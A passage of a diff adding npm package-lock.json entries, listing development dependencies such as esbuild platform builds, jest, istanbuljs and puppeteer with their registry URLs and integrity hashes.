">=6.9.0" + } + }, + "node_modules/@cspotcode/source-map-support": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", + "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==", + "dev": true, + "dependencies": { + "@jridgewell/trace-mapping": "0.3.9" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping": { + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", + "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.18.20.tgz", + "integrity": "sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.18.20.tgz", + "integrity": "sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.18.20.tgz", + "integrity": "sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.18.20.tgz", + "integrity": "sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.18.20.tgz", + "integrity": "sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.18.20.tgz", + "integrity": "sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.18.20.tgz", + "integrity": "sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.18.20.tgz", + "integrity": "sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.18.20.tgz", + "integrity": "sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.18.20.tgz", + "integrity": "sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.18.20.tgz", + "integrity": "sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==", + "cpu": [ + "loong64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.18.20.tgz", + "integrity": "sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==", + "cpu": [ + "mips64el" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.18.20.tgz", + "integrity": "sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.18.20.tgz", + "integrity": "sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==", + "cpu": [ + "riscv64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.18.20.tgz", + "integrity": "sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==", + "cpu": [ + "s390x" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.18.20.tgz", + "integrity": "sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.18.20.tgz", + "integrity": "sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.18.20.tgz", + "integrity": "sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.18.20.tgz", + "integrity": "sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.18.20.tgz", + "integrity": "sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.18.20.tgz", + "integrity": "sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.18.20.tgz", + "integrity": "sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "dev": true, + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true + }, + "node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@isaacs/cliui/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "dev": true, + "dependencies": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/expect-utils": { + "version": "29.6.4", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.6.4.tgz", + "integrity": "sha512-FEhkJhqtvBwgSpiTrocquJCdXPsyvNKcl/n7A3u7X4pVoF4bswm11c9d4AV+kfq2Gpv/mM8x7E7DsRvH+djkrg==", + "dev": true, + "dependencies": { + "jest-get-type": "^29.6.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/schemas": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", + "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", + "dev": true, + "dependencies": { + "@sinclair/typebox": "^0.27.8" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/types": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", + "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/types/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/types/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/@jest/types/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz", + "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", + "dev": true + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.19", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.19.tgz", + "integrity": "sha512-kf37QtfW+Hwx/buWGMPcR60iF9ziHa6r/CZJIHbmcm4+0qrXiVdxegAH0F6yddEVQ7zdkjcGCgCzUu+BcbhQxw==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@jspm/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@jspm/core/-/core-2.0.1.tgz", + "integrity": "sha512-Lg3PnLp0QXpxwLIAuuJboLeRaIhrgJjeuh797QADg3xz8wGLugQOS5DpsE8A6i6Adgzf+bacllkKZG3J0tGfDw==", + "dev": true + }, + "node_modules/@ljharb/through": { + "version": "2.3.9", + "resolved": "https://registry.npmjs.org/@ljharb/through/-/through-2.3.9.tgz", + "integrity": "sha512-yN599ZBuMPPK4tdoToLlvgJB4CLK8fGl7ntfy0Wn7U6ttNvHYurd81bfUiK/6sMkiIwm65R6ck4L6+Y3DfVbNQ==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/@originjs/vite-plugin-commonjs": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@originjs/vite-plugin-commonjs/-/vite-plugin-commonjs-1.0.3.tgz", + "integrity": "sha512-KuEXeGPptM2lyxdIEJ4R11+5ztipHoE7hy8ClZt3PYaOVQ/pyngd2alaSrPnwyFeOW1UagRBaQ752aA1dTMdOQ==", + "dev": true, + "dependencies": { + "esbuild": "^0.14.14" + } + }, + "node_modules/@originjs/vite-plugin-commonjs/node_modules/@esbuild/linux-loong64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.14.54.tgz", + "integrity": "sha512-bZBrLAIX1kpWelV0XemxBZllyRmM6vgFQQG2GdNb+r3Fkp0FOh1NJSvekXDs7jq70k4euu1cryLMfU+mTXlEpw==", + "cpu": [ + "loong64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@originjs/vite-plugin-commonjs/node_modules/esbuild": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.14.54.tgz", + "integrity": "sha512-Cy9llcy8DvET5uznocPyqL3BFRrFXSVqbgpMJ9Wz8oVjZlh/zUSNbPRbov0VX7VxN2JH1Oa0uNxZ7eLRb62pJA==", + "dev": true, + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/linux-loong64": "0.14.54", + "esbuild-android-64": "0.14.54", + "esbuild-android-arm64": "0.14.54", + "esbuild-darwin-64": "0.14.54", + "esbuild-darwin-arm64": "0.14.54", + "esbuild-freebsd-64": "0.14.54", + "esbuild-freebsd-arm64": "0.14.54", + "esbuild-linux-32": "0.14.54", + "esbuild-linux-64": "0.14.54", + "esbuild-linux-arm": "0.14.54", + "esbuild-linux-arm64": "0.14.54", + "esbuild-linux-mips64le": "0.14.54", + "esbuild-linux-ppc64le": "0.14.54", + "esbuild-linux-riscv64": "0.14.54", + "esbuild-linux-s390x": "0.14.54", + "esbuild-netbsd-64": "0.14.54", + "esbuild-openbsd-64": "0.14.54", + "esbuild-sunos-64": "0.14.54", + "esbuild-windows-32": "0.14.54", + "esbuild-windows-64": "0.14.54", + "esbuild-windows-arm64": "0.14.54" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "dev": true, + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@puppeteer/browsers": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/@puppeteer/browsers/-/browsers-1.7.0.tgz", + "integrity": "sha512-sl7zI0IkbQGak/+IE3VEEZab5SSOlI5F6558WvzWGC1n3+C722rfewC1ZIkcF9dsoGSsxhsONoseVlNQG4wWvQ==", + "dev": true, + "dependencies": { + "debug": "4.3.4", + "extract-zip": "2.0.1", + "progress": "2.0.3", + "proxy-agent": "6.3.0", + "tar-fs": "3.0.4", + "unbzip2-stream": "1.4.3", + "yargs": "17.7.1" + }, + "bin": { + 